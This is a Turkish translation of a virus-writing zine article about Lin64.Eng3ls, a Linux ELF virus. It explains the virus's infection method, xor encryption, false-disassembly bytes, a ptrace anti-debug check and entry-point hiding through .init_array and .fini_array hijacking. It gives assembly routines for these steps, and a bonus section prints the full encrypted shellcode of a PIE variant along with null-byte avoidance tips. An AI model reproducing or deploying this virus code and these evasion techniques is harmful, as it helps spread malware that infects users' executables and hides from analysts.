┌───────────────────────┐
                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                            │ █   █ █ █ █   █       │
                                                            │ █   █ █ █ █▀▀▀▀       │
                                                            │ █   █   █ █     ▄     │
                                                            │                 ▄▄▄▄▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄   ▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄▄▄▄▄ │
                                                            │                   █   │
                                                            │                   █   │
                                                            └───────────────────█ ──┘
Lin64.Eng3ls: Linux virüsündeki bazı tersine mühendislik karşıtı teknikler
~ S01den & sblip

[ Çeviri @batcain tarafından yapılmıştır ]

S01den tarafından sevgilerle.
mail: S01den@protonmail.com

--- Giriş ---

sblip ile özel bir etinlik için bütün bir haftasonu Lin64.Eng3ls üzerinde çalıştık.
Eng3ls, Lin64.Kropotkine[0]'i temel alır ve enfeksiyon yöntemi hala geçerli olan
PT_NOTE -> PT_LOAD segmentidir ama ek olarak gizlenme/karmaşıklaştırma teknikleri ekledik.

Aslında bakarsanız Kropotkin hiç de gizli değildir, enfekte edilmiş çalıştırılabilir dosyaların
giriş noktası doğrudan virüsü işaret edecek şekilde değişmektedir ve bulaşıcı kod analize tamamen
açıktır.

Bu sorunları çözebilmek adına virüsün gövdesi için bir oligomorfik xor decryptor/encryptor
yaptık ve bu şifreleyici için anahtarlar her yeni çalıştırabilir dosyada değişmekte. Bu değişiklik
yeni oluşturulan kodun diğerlerinden farklı olmasını sağlıyor. Ancak bu "Poor Man's Polimorphism"
tekniği büyük bir dezavantaja sahip; decryptor kodu asla değişmiyor. Bu da demek oluyor ki;
bir tersine mühendis kara büyülere başvurmadan virüsün nasıl şifrelendiğini ve ne yaptığını anlaması çok fazla vakit almayacaktır.
Bu tür nedenlerden dolayı, decryptor'u gizleyebilmek için ilk kez virüslerimde "polymorphic false-disassembly" tekniğini
ilk kez uyguladım.

Nasıl çalıştığını ve sonuçları görmek için bu teknik hakkındaki yazdığım makaleye göz atın!
(Zin sayfasını çevirmek yeterli olacak)

Bunların dışında bir problem daha kaldı, enfekte edilmiş çalıştırabilir dosyanın giriş noktası hala
direkt olarak virüsü işaret ediyor. Bu pek de gizli sayılmıyor!

Bakalım bunu nasıl çözmüşüz....

--- ELF için Giriş Noktası Gizleme Tekniği ---

/!\ Bu teknik PIE çalıştırabilir dosyalarda geçerli değildir. /!\


Giriş noktası gizleme, bir virüsün ilk instruction adresini gizleme eylemidir.
EPO olmayan virüslerde, virüslü bir programın giriş noktası, virüsün başlangıcına
işaret edecek şekilde değiştirilirken, EPO içeren virüslerde, virüs ister ana programın
kodunda bir "jump" gizleyerek veya buradaki örnek gibi çalıştırabilir dosya biçeminin
özelliğini kötüye kullanarak yapar.

ELF'lerin giriş noktası, aslında program çalıştırıldığında ilk çağrılan ve çalıştırılan
adres değildir. "main()"  fonksiyonunu çağıran bazı glibc başlatma rutinleri bulunmaktadır.

Nasıl çalıştığını detaylıca açıklamayacağım, zaten bunun hakkında harika bir makale[1] bulunmakta.
Sadece .init_array (construction pointer'ı içerir) ve .fini_array(destructor pointer'ı içerir)
bölümlerini gaspedeceğimizi unutmayın.

.init_array'in içerisinde bulunan adres giriş noktasından önce yürütülür, yani bu tam sahip olmak
istediğimiz türden bir şey demek!

Bunları yapmadan önce anti-ayıklama tekniği uygulamak istiyorum.
Mevcut işlemin izlenip izlenmediğini (debug veya strace yöntemleri) anlamak üzere
bir ptrace kontrolü.

Klasik "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);" tekniğinden bahsediyorum.
Evet geçmesi acayip kolay (Patchlemek veya gdb'de rax register'ına sıfır atamak ile atlatılabilinir)
ama yine de farkedilmesini "zorlaştırdım(!)".


------------------------- BURADAN KESİN --------------------------------------------------
check_dbg:
    push rbp
    mov rbp, rsp

    jmp jmp_over4+2
    jmp_over4:
      db `\x41\xba` ; false-disassembly tekniği
    mov rax, 101 ; sys_ptrace
    xor rdi, rdi ; PTRACE_TRACEME
    xor rsi, rsi
    xor r10, r10
    xor rdx, rdx
    inc rdx
    jmp jmp_over6+2
    jmp_over6:
      db `\xe9\x94` ; false-disassembly tekniği
    syscall

    jmp jmp_over5+2
    jmp_over5:
      db `\x49\x81` ; false-disassembly tekniği
    cmp rax, 0
    jge continue
    mov rax, 60
    xor rdi, rdi
    syscall

    continue:
    pop rbp
    ret
-------------------------------------------------------------------------------------

Rutinde bazı false-disassembly baytları yazdım ve her yeni enfeksiyonda değişmekte.
Daha önce de bahsettiğim gibi bu kod parçacığı main() fonksiyonundan önce çalışacak. (.init_array'ı kötüye kullanarak)
Tabi eğer ayıklanıyorsa virüs çalıştırmayı kesecek. (giriş noktasında bir breakpoint olsa dahi).

.fini_array'i kötüye kullanarak virüsün çağrılmasını sağladım. İşte .init_array ve .fini_array bölümlerini patch'lemek adına,
bölüm başlık tablosunu ayrıştırarak yaptığım arama için yazdığım rutinler;

------------------------- BURADAN KESİN --------------------------------------------------
parse_shdr:
  xor rcx, rcx
  xor rdx, rdx
  mov cx, word [rax+e_hdr.shnum]     ; rcx = program başlık tablosundaki(header table) girişlerin sayısı
  mov rbx, qword [rax+e_hdr.shoff]   ; rbx = program başlık tablosunun offset'i
  mov dx, word [rax+e_hdr.shentsize] ; rdx = program başlık tablosu girişinin boyutu

  loop_shdr:
    add rbx, rdx
    dec rcx
    cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, hata ayıklama
                                          ; kontrolünü koymak için değiştirmek
                                          ; istediğimiz bölüm (.init_array)
    je ctor_found
    cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, EPO(.fini_array)
                                          ; olarak değiştirmek istediğimiz bölüm
    je dtor_found
    cmp rcx, 0
    jg loop_shdr

dtor_found:
  mov rdi, qword [rax+rbx+e_shdr.offset]
  mov [rax+rdi], r9 ; r9 dönüştürülen segmentin adresini tutmakta,
                    ; yani virüsü yazdığımız alan
  jmp write_vx

ctor_found:
  mov rdi, qword [rax+rbx+e_shdr.offset]
  add r9, 0x86 ; r9+0x86 = check_dbg'nin başladığı adres
  mov [rax+rdi], r9
  sub r9, 0x86
  jmp loop_shdr
-------------------------------------------------------------------------------------

--- Sonuç ---

Giriş noktası değişikliği yetersiz, bunun yerine .init_array veya .fini_array gaspetme gibi
gizleme yöntemlerini kullanın.

Virüslerinizi ışıklı mışıklı yapmak için bazı komik tersine mühendislik karşıtı şeyler ekleyin.
Burama bir tutam şifreleme.....
Şurama birazcık debugger tespiti.........

Umarım bu makaleyi beğenmişsinizdir ve bir şeyler öğrenmişsinizdir.

Daha ileri gitmek istiyorsanız, eng3ls'in kullandığı aynı tersine mühendislik karşıtı teknikler içeren
bir crack-me yazdım.


Buradan erişebilirsiniz: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea

--- Bonus ---

Bu virüsün null-byte içermeyen ve PIE olan \o/  bir versiyonunu yazdım.

O da şöyle;

unsigned char shellcode[] =
    "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
    "\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
    "\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
    "\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
    "\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
    "\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
    "\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
    "\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
    "\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
    "\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
    "\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
    "\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
    "\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
    "\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
    "\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
    "\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
    "\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
    "\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
    "\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
    "\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
    "\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
    "\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
    "\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
    "\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
    "\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
    "\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
    "\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
    "\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
    "\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
    "\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
    "\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
    "\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
    "\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
    "\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
    "\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
    "\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
    "\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
    "\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
    "\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
    "\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
    "\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
    "\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
    "\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
    "\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
    "\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
    "\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
    "\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
    "\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
    "\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";

Aptal olma, sakın bu boku vahşi doğaya salayım deme.
Bununla yaptığın şeylerden asla biz sorumlu değiliz.


--> null-byte içermeyen shellcode yazmak için iki teknik:

1) "mov" instruction'unu "push" ile değiştir.
Örnek:

b809000000     mov eax, 9  ----> 6a09 push 0x9
                                 58   pop rax
2) add/sub tekniği:
Bazen bazı register'lara yüklediğiniz değerler null-byte içerir.
Çöp değerler ekleyip çıkararak bu null-byte'lardan kurtulabilirsin.
Örnek:

4881c4890300  add rsp, 0x389  ----> 4881c4e8c311  add rsp, 0x1111c3e8
          ^                         // 0x1111c3e8 = 0x389 + 0x1111c0de
                                    4881ecdec011  sub rsp, 0x1111c0de


--- Notlar ve Referanslar ---
[0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.Kropotkine.asm
[1] Abusing .CTORS and .DTORS for fun 'n profit
    https://www.exploit-db.com/papers/13234

--- Source ---
- Linux.Eng3ls.asm